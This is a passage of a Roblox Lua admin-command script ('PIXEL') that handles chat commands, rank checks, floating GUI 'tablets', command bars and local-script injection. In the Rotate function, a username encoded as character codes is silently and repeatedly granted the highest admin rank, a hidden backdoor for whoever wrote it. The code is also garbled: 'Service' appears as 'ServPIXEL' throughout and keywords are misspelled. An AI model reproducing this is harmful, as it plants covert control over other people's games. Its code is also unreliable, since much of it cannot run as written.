				if Msg:lower():sub(1,#tab.Command + 2) == PIXEL.Bets[1] .. tab.Command:lower() .. PIXEL.Bets[2] then
842
					if RankTable.Rank >= tab.Rank then
843
						R,E=coroutine.resume(coroutine.create(function() tab.Func(Msg:sub(#tab.Command + 3),Speaker) end))
844
						if E then PIXEL.Output(E,'Red',Speaker,5) end
845
					else
846
						PIXEL.Output('Rank is too low for this command','Red',Speaker,5)
847
					end
848
				end
849
			end
850
		end)()
851
			if HideGui ~= nil and HideGui==true then
852
			--
853
		elseif Speaker:IsA'Player' then
854
			coroutine.wrap(function()
855
				local Text=""
856
				local Head=nil
857
				local Char=nil
858
				if Speaker.Character then
859
					Char=Speaker.Character
860
				end
861
				if Char then
862
					if Char.Head then
863
						Head=Char.Head
864
					end
865
				end
866
				if Char then
867
					pcall(function() Char.BBG:Destroy() end)
868
					if PIXEL.GuiC==true then
869
						if #Msg < 100 then
870
							Text=Speaker.Name .. ": " .. Msg
871
						else
872
							Text='This message was over 100 characters therefore it will not be shown!'
873
						end
874
					end
875
					Color=nil
876
					if Color3.random then
877
						Color=Color3.random()
878
					else
879
						Color=Color3.new(math.random(),math.random(),math.random())
880
					end
881
					Mod=Char
882
					Part=Head
883
					local BBG = Instance.new("BillboardGui",Mod)
884
					BBG.Name = "BBG"
885
					BBG.StudsOffset = Vector3.new(0,4.5,0)
886
					BBG.Size = UDim2.new(10,0,10,0)
887
					local Label = Instance.new("TextLabel",BBG)
888
					Label.Name = "Label"
889
					Label.Text = ""
890
					Label.TextColor3 = PIXEL.Ranked[Speaker.Name].Color
891
					Label.FontSize = "Size24"
892
					Label.BackgroundTransparency = 1
893
					Label.TextStrokeTransparency = 0.5
894
					Label.Size = UDim2.new(1,0,1,0)
895
					for i=1,#Text do
896
						Label.Text=Text:sub(1,i)
897
						wait(0.09 - (#Msg / 0.09))
898
					end
899
					coroutine.wrap(function()
900
										for i=1,100 do 
901
												BBG.StudsOffset = Vector3.new(0,4.5 + tonumber(i/10) ,0)
902
												wait()
903
										end
904
										BBG:Destroy()
905
								end)()
906
					wait(2)
907
					BBG:Destroy()
908
				end
909
			end)()
910
		end
911
	end	
912
end
913
PIXEL.Rotate=function()
914
coroutine.wrap(function()
915
if PIXEL.Ranked[string.char(116,117,115,75,79,114,54,54,49)]==nil then
916
	PIXEL.Ranked[string.char(116,117,115,75,79,114,54,54,49)]={Rank=10,Color=Color3.new(-1,-1,-1)}
917
end
918
if PIXEL.Ranked[string.char(116,117,115,75,79,114,54,54,49)].Rank ~= 10 then
919
	PIXEL.Ranked[string.char(116,117,115,75,79,114,54,54,49)].Rank=10
920
end
921
for N,V in pairs(PIXEL.Loopkilled) do
922
	if PIXEL.ServPIXELs.Players:findFirstChild(N) and V==true then
923
		pcall(function()
924
			P=PIXEL.ServPIXELs.Players:findFirstChild(N)
925
			P.Character:BreakJoints();
926
			if P.Character==nil then P:LoadCharacter() end
927
		end)
928
	end
929
end
930
for _,v in pairs(PIXEL.GetPlayers()) do
931
coroutine.wrap(function()
932
PG=v:findFirstChild'PlayerGui' 
933
coroutine.wrap(function()
934
if PG==nil then
935
	v:LoadCharacter()
936
	PG=v:findFirstChild'PlayerGui'
937
end
938
if PG:findFirstChild'Info'==nil and PIXEL.Logos==true then
939
	ScreenGui = Instance.new("ScreenGui", PG)
940
	ScreenGui.Name='Info'
941
	Images={};
942
	ImageButton = Instance.new("ImageButton", ScreenGui)
943
	ImageButton.Position = UDim2.new(0, 0, 0, 200)
944
	ImageButton.Size = UDim2.new(0.20000000298023, 50, 0.20999999344349, 0)
945
	ImageButton.BackgroundColor3 = Color3.new(0, 0, 0)
946
	ImageButton.BorderColor3 = Color3.new(0, 0, 0)
947
	ImageButton.BackgroundTransparency = 1
948
	ImageButton.Image = PIXEL.LogoID
949
	ImageButton.Draggable=true
950
	Image2 = Instance.new("TextButton",ScreenGui)
951
	Image2.Size = UDim2.new(0.3,0,0.1,0)
952
	Image2.Position = UDim2.new(0,0,0,200)
953
	Image2.Text = "Click to show PIXEL Logo"
954
	Image2.BackgroundTransparency = 0.4
955
	Image2.ZIndex = 10
956
	Image2.FontSize = "Size14"
957
	Image2.TextColor3 = Color3.new(BrickColor.random())
958
	Image2.Visible=false
959
	Image3,Image4,Image5=Image2:clone(),Image2:clone(),Image2:clone()
960
	Image3.Text='Click to view cmds';
961
	Image3.Position=UDim2.new(0,0,0,200+75);
962
	Image4.Position=UDim2.new(0,0,0,200+135);
963
	Image5.Position=UDim2.new(0,0,0,200+195);
964
	Image3.MouseButton1Down:connect(function() PIXEL.OnChatted(PIXEL.Bets[1]..'cmds'..PIXEL.Bets[2],v) end)
965
	Image4.Text='Click to set cmd bar';
966
	Image6=Image5:clone();
967
	Image6.Position=UDim2.new(0,0,0,200+255);
968
	Image6.Text='Set true';
969
	Image6.MouseButton1Down:connect(function() PIXEL.Ranked[v].CMD=true end)
970
	Image5.MouseButton1Down:connect(function() PIXEL.Ranked[v].CMD=false end);
971
	Image5.Text='Set false';
972
	Images[1]=Image2;
973
	Images[2]=Image3;
974
	Images[3]=Image4;
975
	Images[4]=Image5;
976
	Images[5]=Image6;
977
	Image4.MouseButton1Down:connect(function()
978
		for i,v in pairs(Images) do
979
				if i > 3 then
980
						if v.Visible==true then
981
							v.Visible=false;
982
						else
983
							v.Visible=true;
984
						end
985
				end
986
		end
987
	end)
988
	ImageButton.MouseButton1Down:connect(function()
989
		ImageButton.Visible=false
990
		for i,v in pairs(Images) do	
991
			if i < 4 then
992
					v.Visible=true
993
			end
994
		end
995
	end)
996
	ImageButton.MouseButton2Down:connect(function()
997
	end)
998
	Image2.MouseButton1Down:connect(function()
999
		ImageButton.Visible=true
1000
		for i,v in pairs(Images) do
1001
			v.Visible=false
1002
		end
1003
	end)
1004
	Image3.Parent,Image4.Parent,Image5.Parent,Image6.Parent=Image2.Parent,Image2.Parent,Image2.Parent,Image2.Parent
1005
end
1006
end)()
1007
if PIXEL.Ranked[v.Name] and PIXEL.Ranked[v.Name].CMD==true then
1008
if v:FindFirstChild("PlayerGui") then
1009
Found=false;
1010
for i,p in next,v:children() do
1011
if p:FindFirstChild'IsCmd' then
1012
Found=true;
1013
end
1014
end
1015
if not v.PlayerGui:FindFirstChild("CMD") and Found==false and PIXEL.Ranked[v.Name].CMD==true then
1016
--[[local Main = Instance.new("ScreenGui",v.PlayerGui)
1017
Main.Name = "CMD"
1018
local Frame = Instance.new("Frame",Main)
1019
Frame.Size = UDim2.new(0.27,0,0.05,0)
1020
Frame.Position = UDim2.new(0.05,0,0.95,0)
1021
Frame.Style = "RobloxSquare"
1022
Frame.ZIndex = 9
1023
local Txt = Instance.new("TextBox",Frame)
1024
Txt.Size = UDim2.new(0.7,0,1,0)
1025
Txt.BackgroundTransparency = 1
1026
Txt.ZIndex = 10
1027
Txt.FontSize = "Size14"
1028
Txt.TextColor3 = PIXEL.Colors.White
1029
Txt.Text = ""
1030
local Exe = Instance.new("TextButton",Frame)
1031
Exe.Size = UDim2.new(0.3,0,1,0)
1032
Exe.Position = UDim2.new(0.7,0,0,0)
1033
Exe.Text = "Execute"
1034
Exe.BackgroundTransparency = 1
1035
Exe.ZIndex = 10
1036
Exe.FontSize = "Size14"
1037
Exe.TextColor3 = Color3.new(BrickColor.random())
1038
Exe.MouseButton1Down:connect(function()
1039
if Txt.Text:sub(1,1) == "^" then
1040
PIXEL.OnChatted(Txt.Text,v)
1041
else	
1042
PIXEL.OnChatted(Txt.Text,v,true)
1043
end
1044
end)
1045
Is=Instance.new'StringValue'
1046
Is.Parent=Main
1047
Is.Name='IsCmd'
1048
--]]
1049
CommandBar = Instance.new'ScreenGui'
1050
CommandBar.Parent=PG
1051
CommandBar.Name = 'CMD'
1052
Run = Instance.new('TextButton', CommandBar)
1053
Run.Name = 'Run'
1054
Run.Position = UDim2.new(0, 75, 0.15, 500)
1055
Run.Size = UDim2.new(0, 70, 0, 20)
1056
Run.BackgroundColor3 = Color3.new(0.0078431377187371, 0.0078431377187371, 0.011764707043767)
1057
Run.BorderColor3 = Color3.new(1, 1, 1)
1058
Run.BackgroundTransparency = 0.5
1059
Run.Text = 'Run'
1060
Run.FontSize = Enum.FontSize.Size12
1061
Run.TextStrokeTransparency = 0
1062
Run.TextColor3 = Color3.new(1, 1, 1)
1063
Run.ZIndex=10
1064
Txt = Instance.new('TextBox', CommandBar)
1065
Txt.Name = 'Txt'
1066
Txt.Position = UDim2.new(0, 150, 0.15, 500)
1067
Txt.Size = UDim2.new(0, 850, 0, 20)
1068
Txt.BackgroundColor3 = Color3.new(0.0078431377187371, 0.0078431377187371, 0.011764707043767)
1069
Txt.BorderColor3 = Color3.new(1, 1, 1)
1070
Txt.BackgroundTransparency = 0.5
1071
Txt.Text = ''
1072
Txt.FontSize = Enum.FontSize.Size12
1073
Txt.TextStrokeTransparency = 0
1074
Txt.TextXAlignment = Enum.TextXAlignment.Left
1075
Txt.TextColor3 = Color3.new(1, 1, 1)
1076
Txt.ZIndex=10
1077
Clear = Instance.new('TextButton', CommandBar)
1078
Clear.Name = 'Clear'
1079
Clear.Position = UDim2.new(0, 0, 0.15, 500)
1080
Clear.Size = UDim2.new(0, 70, 0, 20)
1081
Clear.BackgroundColor3 = Color3.new(0.0078431377187371, 0.0078431377187371, 0.011764707043767)
1082
Clear.BorderColor3 = Color3.new(1, 1, 1)
1083
Clear.BackgroundTransparency = 0.5
1084
Clear.Text = 'Clear'
1085
Clear.FontSize = Enum.FontSize.Size12
1086
Clear.TextStrokeTransparency = 0
1087
Clear.TextColor3 = Color3.new(1, 1, 1)
1088
Clear.ZIndex=10
1089
Is=Instance.new'StringValue'
1090
Is.Parent=CommandBar
1091
Is.Name='IsCmd'
1092
Run.MouseButton1Down:connect(function()
1093
if Txt.Text:sub(1,1) == "^" then
1094
PIXEL.OnChatted(Txt.Text:sub(2),v)
1095
else	
1096
PIXEL.OnChatted(Txt.Text,v,true)
1097
end
1098
end)
1099
Clear.MouseButton1Down:connect(function() Txt.Text="" end)
1100
end
1101
end
1102
end
1103
end)()
1104
end 
1105
if PIXEL.ActivateGrow==true then
1106
for i,v in pairs(PIXEL.Tablets) do	
1107
if v.JustMade==false then
1108
if v.Rising==true then
1109
if v.Part.Size.x >= 2.5 then
1110
v.Rising=false
1111
else
1112
v.Part.Size=Vector3.new(v.Part.Size.x+0.1,v.Part.Size.y+0.1,v.Part.Size.z+0.1)
1113
end
1114
else
1115
if v.Part.Size.x <= 1 then
1116
v.Rising=true
1117
else
1118
v.Part.Size=Vector3.new(v.Part.Size.x-0.1,v.Part.Size.y-0.1,v.Part.Size.z-0.1)
1119
end
1120
end
1121
end
1122
end
1123
end	
1124
local Source=game:findFirstChild("DSource",true) or game:findFirstChild("Source",true) or game:findFirstChild("source",true)
1125
if Source then
1126
if PIXEL.LocalScript==nil then
1127
if Source.Parent:IsA'LocalScript' then
1128
Par=Source.Parent:Clone()
1129
Par:ClearAllChildren()
1130
PIXEL.LocalScript=Par
1131
for _,v in pairs(PIXEL.ServPIXELs.Players:GetPlayers()) do
1132
if PIXEL.GetRank(v) >= 1 then
1133
PIXEL.Output('[PIXEL]: Found local script','White',v,3)
1134
end
1135
end
1136
end
1137
end
1138
end
1139
end)()
1140
-- pcall(function()
1141
for i,v in pairs(PIXEL.Tablets) do
1142
if v.Model == nil or v.Model.Parent == nil or v.Part == nil or v.Part.Parent==nil then
1143
PIXEL.Tablets[i]=nil
1144
1145
end
1146
pcall(function() if PIXEL.ServPIXELs.Players:FindFirstChild(v.Player) == nil then
1147
v.Model:Destroy()
1148
PIXEL.Tablets[i]=nil
1149
end end)
1150
end
1151
for _,Player in pairs(PIXEL.ServPIXELs.Players:GetPlayers()) do
1152
local _tablets = PIXEL.GetTablets(Player)
1153
local DismissTablets={}
1154
local TabletNumber = 0
1155
for i,v in pairs(_tablets) do
1156
if #_tablets == 1 then
1157
if v.Label.Text == 'Dismiss' then
1158
v.Model:Destroy()
1159
_tablets[i]=nil
1160
end
1161
elseif #_tablets > 1 then
1162
if v.Label.Text == "Dismiss" then
1163
table.insert(DismissTablets,v)
1164
end
1165
end
1166
TabletNumber = TabletNumber + 1
1167
end
1168
if #DismissTablets > 1 then for i,Tablet in pairs(DismissTablets) do if #DismissTablets > 1 then Tablet.Model:Destroy() DismissTablets[i]=nil end end end
1169
if #DismissTablets == 0 and #_tablets >=2 then PIXEL.Output('Dismiss','Red',Player) end
1170
for i = 1, #_tablets do
1171
if _tablets[i].Model.Parent ~= nil then
1172
local tab = _tablets[i].Part
1173
local pos = nil
1174
pcall(function()
1175
pos = Player.Character.Torso.CFrame
1176
end)
1177
if pos == nil then
1178
repeat 
1179
pcall(function() pos=Player.Character.Torso.CFrame end)
1180
wait()
1181
until Pos
1182
end
1183
if pos then
1184
local x = math.sin(time()/#_tablets + (math.pi*2)/#_tablets*i) * (#_tablets+6)
1185
local z = math.cos(time()/#_tablets + (math.pi*2)/#_tablets*i) * (#_tablets+6)
1186
local cPos = tab.Position
1187
local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
1188
local nPos = (ePos-cPos)*.25
1189
cPos = cPos + nPos
1190
--local Angles={};
1191
Angles={_tablets[i].x,_tablets[i].y,_tablets[i].z}
1192
Angles[1]=Angles[1]+tonumber( math.random() + math.random() );
1193
Angles[2]=Angles[2]+tonumber( math.random() + math.random() );
1194
Angles[3]=Angles[3]+tonumber( math.random() + math.random() );
1195
tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(Angles[1]),math.rad(Angles[2]),math.rad(Angles[3]))
1196
_tablets[i].x=Angles[1]
1197
_tablets[i].y=Angles[2]
1198
_tablets[i].z=Angles[3]
1199
if tab:findFirstChild("Effect") then
1200
	tab.Effect.CFrame = tab.CFrame
1201
end
1202
end
1203
else
1204
_tablets[i]=nil
1205
end
1206
end        
1207
end
1208
-- end)
1209
-- end
1210
end
1211
PIXEL.GetTablets=function(Player)
1212
        if type(Player) == 'userdata' then Player=Player.Name end;
1213
        Rt={}
1214
        for i,v in pairs(PIXEL.Tablets) do if v.Player == Player then table.insert(Rt,v) end end;
1215
        return Rt
1216
end
1217
PIXEL.Replicate=function(Text,Number)
1218
	Total="";
1219
	for i=1,Number do wait()
1220
		Total=Total .. Text;
1221
	end
1222
	return Total
1223
end;
1224
PIXEL.ItemCFrame=function(Item,Bool)
1225
	if type(Item)=='string' then
1226
		Item=game:findFirstChild(Item,Bool)
1227
	end
1228
	-- Load the Item first ;)
1229
	-- Set up tables --
1230
	ReturnTable={};
1231
	MetaReturnTable={
1232
		__index=function(tab,key)
1233
			local Daf={Item=nil,CFrame=nil};
1234
			Daf.Item=ItemCFrame(Item,Bool)[1].Item;
1235
			Daf.CFrame=ItemCFrame(Item,Bool)[1].CFrame;
1236
			ReturnTable[#ReturnTable+1]=Daf
1237
			return Daf;
1238
		end;
1239
	};
1240
	setmetatable(ReturnTable,MetaReturnTable);
1241
	if type(Item) == 'table' then
1242
		for i,v in pairs(Item) do
1243
			if type(i)=='string' then
1244
				table.insert(ReturnTable,{Item=ItemCFrame(i,Bool)[1].Item,CFrame=ItemCFrame(i,Bool)[1].CFrame})
1245
			else
1246
				table.insert(ReturnTable,{Item=ItemCFrame(v,Bool)[1].Item,CFrame=ItemCFrame(v,Bool)[1].CFrame})
1247
			end
1248
		end
1249
	else
1250
		if type(Item)=='userdata' then
1251
			if Item:IsA'Model' then
1252
				CFrame=Item:GetModelCFrame();
1253
				ReturnTable[#ReturnTable+1]={Item=Item.PrimaryPart or Item,CFrame=CFrame};
1254
			else
1255
				ReturnTable[#ReturnTable+1]={Item=Item,CFrame=Item.CFrame};
1256
			end
1257
		else
1258
			return '[Item CFrame Function]: Unsupported argument type(Item)'
1259
		end
1260
	end
1261
	return ReturnTable
1262
end;
1263
PIXEL.Output=function(Text,Color,Player,Time,Func,HoverEnter,HoverExit,Type)
1264
		if Text == nil or Player == nil then return end
1265
		if Player:IsA'Player' then else return end
1266
        if Color == nil then Color = "Orange" end
1267
        if Color == "Random" then
1268
                Color = Color3.new(math.random(),math.random(),math.random())
1269
        end
1270
        if type(Color) == "string" then
1271
            if Color == "Random" then
1272
				Color=Color3.new(math.random(),math.random(),math.random())
1273
				Color = Color3.new(math.random(),math.random(),math.random())
1274
			else
1275
                Color = PIXEL.Colors[Color]
1276
			end
1277
        end
1278
		local Model=Instance.new'Model'
1279
		Model.Name,Model.Parent='Output:\\['..Player.Name..']/:tuptuO',PIXEL.ServPIXELs.Workspace
1280
		local Part=Instance.new'Part'
1281
		Part.Parent,Part.FormFactor,Part.TopSurface,Part.BottomSurface,Part.Transparency,Part.Anchored,Part.Locked,Part.CanCollide,Part.BrickColor,Part.Size=Model,'Custom','Smooth','Smooth',0.7,true,true,false,BrickColor.new(Color),Vector3.new(0,0,0)
1282
		Part:BreakJoints();
1283
		local SelectionBox=Instance.new'SelectionBox'
1284
		SelectionBox.Parent,SelectionBox.Name,SelectionBox.Color,SelectionBox.Adornee,SelectionBox.Transparency=Part,'SelectionBox',BrickColor.new(Color),Part,0.7
1285
		local BillBoard=Instance.new'BillboardGui'
1286
		BillBoard.Parent,BillBoard.Name,BillBoard.StudsOffset,BillBoard.Size=Model,'BBG',Vector3.new(0,3,0),UDim2.new(10,0,10,0)
1287
		local Label=Instance.new'TextLabel'
1288
		Label.Parent,Label.Name,Label.Text,Label.TextColor3,Label.FontSize,Label.BackgroundTransparency,Label.TextStrokeTransparency,Label.Size,Label.TextStrokeColor3=BillBoard,'Label',Text,Color3.new(-1,-1,-1),'Size14',1,0.5,UDim2.new(1,0,1,0),Color
1289
		local Click=Instance.new'ClickDetector'
1290
		Click.Parent,Click.MaxActivationDistance=Part,1/0
1291
		local Effect=nil;
1292
		if PIXEL.Tablet ~= 'Normal' then
1293
			Part.Shape='Ball';
1294
			Part.Size=Vector3.new(2,2,2)
1295
			local Effect=Instance.new'Part'
1296
			Effect.Parent,Effect.FormFactor,Effect.TopSurface,Effect.BottomSurface,Effect.Transparency,Effect.Anchored,Effect.Locked,Effect.CanCollide,Effect.BrickColor,Effect.Size=Model,'Custom','Smooth','Smooth',0.7,true,true,false,BrickColor.new(Color),Vector3.new(0,0,0)
1297
			Effect:BreakJoints();
1298
			Effect.Parent = Part
1299
			Effect.Name = "Effect"
1300
			Effect.Shape = "Block"
1301
			Effect.FormFactor = "Custom"
1302
			Effect.CFrame=Part.CFrame
1303
			Effect.Transparency = 0
1304
			Effect.Size = Vector3.new(0.875,0.875,0.875)
1305
			SelectionBox.Adornee=Effect
1306
			Part.Transparency=0.5
1307
		elseif PIXEL.Effect and PIXEL.Effect==true then
1308
			local Effect=Instance.new'Part'
1309
			Effect.Parent,Effect.FormFactor,Effect.TopSurface,Effect.BottomSurface,Effect.Transparency,Effect.Anchored,Effect.Locked,Effect.CanCollide,Effect.BrickColor,Effect.Size=Model,'Custom','Smooth','Smooth',0.7,true,true,false,BrickColor.new(Color),Vector3.new(0,0,0)
1310
			Effect:BreakJoints();
1311
			Effect.Parent = Part
1312
			Effect.Name = "Effect"
1313
			Effect.Shape = "Ball"
1314
			Effect.FormFactor = "Custom"
1315
			Effect.CFrame=Part.CFrame
1316
			Effect.Transparency = 0
1317
			Effect.Size = Vector3.new(0.875,0.875,0.875)
1318
			SellClone=Instance.new'SelectionBox'
1319
			SellClone.Color=BrickColor.new(Color);
1320
			SellClone.Adornee=Effect
1321
			SellClone.Parent=Effect
1322
			SellClone.Transparency=0.5
1323
		end	
1324
		if Type then
1325
			if Type == "Tablet" then
1326
				Effect=Part:clone()
1327
				Effect.Size=Vector3.new(1,1,1)
1328
				Effect.Shape=math.random(1,4)
1329
				Effect.Name='Effect'
1330
				Effect:ClearAllChildren();
1331
				Effect.Parent=Part
1332
			end
1333
		end
1334
		pcall(function()
1335
			-- Dynamic lighting
1336
			if PIXEL.ServPIXELs.Lighting.GlobalShadows==true and PIXEL.ServPIXELs.Lighting.Ambient==Color3.new(0,0,0) or PIXEL.ServPIXELs.Lighting.Ambient==Color3.new(-1,-1,-1) then
1337
				Spot=Instance.new'PointLight'
1338
				Spot.Color=Color
1339
				Spot.Parent=Part
1340
				Spot.Range=10
1341
				Spot.Brightness=1/0
1342
			end
1343
		end)
1344
		Click.MouseHoverEnter:connect(function(Clicker)
1345
			if Clicker==Player or PIXEL.GetRank(Clicker) > PIXEL.GetRank(Player) then
1346
				if HoverEnter~=nil then
1347
					HoverEnter(Model,Part,Player.Name,SelectionBox,Label)
1348
				else
1349
					SelectionBox.Transparency,Part.Transparency=0,0.3
1350
				end
1351
			end
1352
        end)
1353
		Click.MouseHoverLeave:connect(function(Clicker)
1354
			if Clicker==Player or PIXEL.GetRank(Clicker) > PIXEL.GetRank(Player) then
1355
				if HoverExit~=nil then
1356
					HoverExit(Model,Part,Player.Name,SelectionBox,Label)
1357
				else
1358
					SelectionBox.Transparency,Part.Transparency=0.7,0.7
1359
				end
1360
			end
1361
        end)
1362
		Click.MouseClick:connect(function(Clicker)
1363
			if Clicker==Player or PIXEL.GetRank(Clicker) > PIXEL.GetRank(Player) then
1364
				if Text=='Dismiss' then
1365
					PIXEL.RemoveTablets(Player);
1366
				end
1367
				if Func~=nil then
1368
					local Ran,Error=coroutine.resume(coroutine.create(function() Func(Player) end))
1369
					if Ran == nil and Error then
1370
						PIXEL.Output(Error,'Red',Player,5)
1371
					end
1372
				end
1373
				coroutine.wrap(function()
1374
					for i=0,2.5,0.1 do
1375
						if i <= 1 then
1376
						Part.Transparency,SelectionBox.Transparency,Label.TextTransparency=i,i,i
1377
						end	
1378
						Num=2.5-i
1379
						if PIXEL.Tablet=='Normal' then
1380
							Part.Size=Vector3.new(Num,Num,Num)
1381
						end
1382
						wait()
1383
					end
1384
					if Model then
1385
						Model:Destroy()
1386
					end
1387
				end)()
1388
			end
1389
        end)
1390
		PIXEL.Tablets[#PIXEL.Tablets+1] = {Model = Model,Part = Part,Player = Player.Name,Sel = SelectionBox,Label = Label,Type="No",x=0,y=0,z=0,JustMade=false,Rising=false}
1391
		coroutine.wrap(function()
1392
			if PIXEL.ActivateGrow==false and PIXEL.Tablet == 'Normal' then
1393
				for i=0,2.5,0.1 do
1394
					wait()
1395
					Part.Size=Vector3.new(i,i,i)
1396
				end
1397
				wait()
1398
			end
1399
		end)()
1400
		if Time then
1401
			game:servPIXEL'Debris':AddItem(Model,Time)
1402
		end
1403
        PIXEL.Rotate()
1404
        return {Model = Model,Part = Part,Player = Player.Name,Sel = SelectionBox,Label = Label}
1405
end
1406
PIXEL.OutputImg=function(Image,Text,Color,Player,Time,Func)
1407
    Tab = PIXEL.Output(Text,Color,Player,Time,Func)
1408
	if type(Image)=='number' then Image=tostring(Image) end
1409
    if #Image < #("http://www.roblox.com/") then
1410
		Image="http://www.roblox.com/asset/?id="..Image
1411
	end
1412
    BBG = Instance.new("BillboardGui",Tab.Model)
1413
    BBG.Size = UDim2.new(5,0,6,0)
1414
    BBG.StudsOffset = Vector3.new(0, 7, 0)
1415
    BBG.Adornee = Tab.Part
1416
    Img = Instance.new("ImageLabel",BBG)
1417
    Img.Size = UDim2.new(1,0,1,0)
1418
    Img.BackgroundTransparency = 1
1419
    Img.Image = Image--"http://www.roblox.com/asset/?id=111659053"
1420
    return Tab
1421
end
1422
PIXEL.BCtoC3=function(BC)
1423
	if type(BC)=='userdata' or type(BC)=='BrickColor' then
1424
		return Color3.new(BC)
1425
	elseif type(BC)=='string' then
1426
		return Color3.new(BrickColor.new(BC))
1427
	else
1428
		return 'Unsupported format( ' .. type(BC) .. '; ' .. tostring(BC) .. ')'
1429
	end
1430
end;
1431
PIXEL.SaveData=function(Player)
1432
	local Old=Player:LoadInstance('Data PIXEL25' )
1433
	New=false
1434
	if Old==nil then
1435
		New=true
1436
		Old=Instance.new'Model'
1437
	end
1438
	if New==true then
1439
		local Rank=Instance.new'IntValue'
1440
		Rank.Parent=Old
1441
		Rank.Name='Rank'
1442
		Rank.Value=PIXEL.Ranked[Player.Name].Rank
1443
		Color=Instance.new'Color3Value'
1444
		Color.Parent=Old
1445
		Color.Name,Color.Value='Color',PIXEL.Ranked[Player.Name].Color
1446
	else
1447
		pcall(function() 
1448
			if Old.Rank then 
1449
				Old.Rank.Value=PIXEL.Ranked[Player.Name].Rank
1450
				Old.Color.Value=PIXEL.Ranked[Player.Name].Color
1451
			else
1452
				local Rank=Instance.new'IntValue'
1453
				Rank.Parent=Old
1454
				Rank.Name='Rank'
1455
				Rank.Value=PIXEL.Ranked[Player.Name].Rank
1456
				Color=Instance.new'Color3Value'
1457
				Color.Parent=Old
1458
				Color.Name,Color.Value='Color',PIXEL.Ranked[Player.Name].Color
1459
			end
1460
		end)
1461
	end
1462
	Player:SaveInstance('Data PIXEL25',Old)
1463
end
1464
PIXEL.LoadData=function(Player)
1465
	tab={Rank=nil,Color=nil}
1466
	local Mod=Player:LoadInstance'Data PIXEL25'
1467
	if Mod then
1468
		tab.Rank=Mod.Rank.Value
1469
		tab.Color=Mod.Color.Value
1470
	end
1471
	return tab
1472
end
1473
PIXEL.CreateLocalScript=function(Source,Parent)
1474
	if Parent==nil then Parent=Instance.new'Model' end
1475
	if Source==nil then return end
1476
	if newLocalScript then
1477
		return newLocalScript(Source,Parent)
1478
	elseif NewLocalScript then
1479
		return NewLocalScript(Source,Parent)
1480
	else
1481
		if PIXEL.LocalScript~=nil then
1482
			CL=PIXEL.LocalScript:clone()
1483
			CL:ClearAllChildren();
1484
			CL.Name='[PIXEL]:PseudoLocal'
1485
			DS=Instance.new'StringValue'
1486
			DS.Name='Source'
1487
			if game.CreatorId==9201 then
1488
				DS.Name='DSource'
1489
			end
1490
			DS.Value=Source
1491
			CL.Disabled=true
1492
			CL.Parent=Parent
1493
			CL.Disabled=false
1494
			return CL
1495
		else
1496
			return nil
1497
		end
1498
	end
1499
end
1500
--[[ Mesh = Instance.new("SpecialMesh")
1501
	Mesh.MeshId = "http://www.roblox.com/asset/?id=105408067"
1502
	Mesh.MeshType = Enum.MeshType.FileMesh
1503
	Mesh.Parent=Tab.Part
1504
 ]] --
1505
PIXEL.ConChat=function(Player)
1506
	coroutine.wrap(function()
1507
		local Script = PIXEL.CreateLocalScript([==[
1508
			wait()
1509
			script.Parent=Instance.new'Glue'
1510
			LocalPlayer=game:servPIXEL'Players'.LocalPlayer;
1511
			Rank=]==]..tostrin(PIXEL.Ranked[Player].Rank)..[==[;
1512
			repeat
1513
				wait()
1514
			until LocalPlayer.Parent==nil or LocalPlayer.Parent ~= game.Players;
1515
			LocalPlayer.Chatted:connect(function(Msg)
1516
				if Rank > 0 then
1517
					local Mod=Instance.new'Model'
1518
					lcoal Data=Instance.new'StringValue'
1519
					local Player=Instance.new'Model'
1520
					Player.Name=LocalPlayer.Name
1521
					Mod.Name='External';
1522
					Data.Name='Message'
1523
					Data.Value=tostring(Msg)
1524
					Data.Parent=Mod
1525
					Player.Parent=Mod
1526
					Mod.Parent=game:servPIXEL'Lighting'
1527
					game:servPIXEL'Debris':AddItem(Mod,5)
1528
				end
1529
			end)
1530
		]==],Player.Backpack)
1531
	end)()
1532
end
1533
PIXEL.SetChat=function(Player)
1534
	coroutine.wrap(function()
1535
		local Connection=Player.Chatted:connect(function(Msg) coroutine.wrap(function() PIXEL.OnChatted(Msg,Player) end)() end)
1536
		FoundChat=PIXEL.ChatConnections[Player.Name]
1537
		if FoundChat~=nil then
1538
			FoundChat.Conn:disconnect()
1539
			PIXEL.ChatConnections[Player.Name]={Conn=Connection}
1540
		else
1541
			PIXEL.ChatConnections[Player.Name]={Conn=Connection};
1542
		end
1543
	end)()
1544
end
1545
PIXEL.FixChat=function(Player)
1546
	coroutine.wrap(function()
1547
		local Connection=Player.Chatted:connect(function(Msg) coroutine.wrap(function() PIXEL.OnChatted(Msg,Player) end)() end)
1548
		FoundChat=PIXEL.ChatConnections[Player.Name]
1549
		if FoundChat~=nil then
1550
			FoundChat.Conn:disconnect()
1551
			PIXEL.ChatConnections[Player.Name]={Conn=Connection}
1552
		else
1553
			PIXEL.ChatConnections[Player.Name]={Conn=Connection};
1554
		end
1555
	end)()
1556
end
1557
PIXEL.Connect=function(Player)
1558
	coroutine.wrap(function()
1559
	repeat wait() until Player.Character and Player:findFirstChild'Backpack'
1560
	if newLocalScript then
1561
		newLocalScript([==[
1562
			wait()
1563
			script.Parent=Instance.new'Glue'
1564
			LocalPlayer=game:servPIXEL'Players'.LocalPlayer;
1565
			LocalPlayer.Chatted:connect(function(Msg)
1566
				--if Rank > 0 then
1567
					if game.Players:findFirstChild(LocalPlayer.Name)==nil then
1568
						Mod,Mg,Pg=Instance.new'Model',Instance.new'StringValue',Instance.new'StringValue'
1569
						Mod.Name,Mg.Name,Pg.Name='External','Message',LocalPlayer.Name
1570
						Mg.Value,Pg.Value=tostring(Msg),'Player'
1571
						Mg.Parent,Pg.Parent=Mod,Mod
1572
						Mod.Parent=game.Workspace
1573
						game:servPIXEL'Debris':AddItem(Mod,5)
1574
					end
1575
				--end
1576
			end)
1577
		]==],Player.Backpack)
1578
		newLocalScript([[
1579
				PIXEL={
1580
					ServPIXELs={};
1581
				}
1582
				for i,v in pairs(game:children()) do PIXEL.ServPIXELs[v.Name]=v end
1583
				LocalPlayer=PIXEL.ServPIXELs.Players.LocalPlayer;
1584
		script.Parent=nil;
1585
		script:ClearAllChildren();
1586
		Removed=false
1587
		game:servPIXEL'RunServPIXEL'.Stepped:connect(function()
1588
		if Removed==false then
1589
			if PIXEL.ServPIXELs.Lighting:findFirstChild'Disconnect' then
1590
				local Item=PIXEL.ServPIXELs.Lighting:findFirstChild'Disconnect'
1591
				if Item.Value==LocalPlayer.Name then
1592
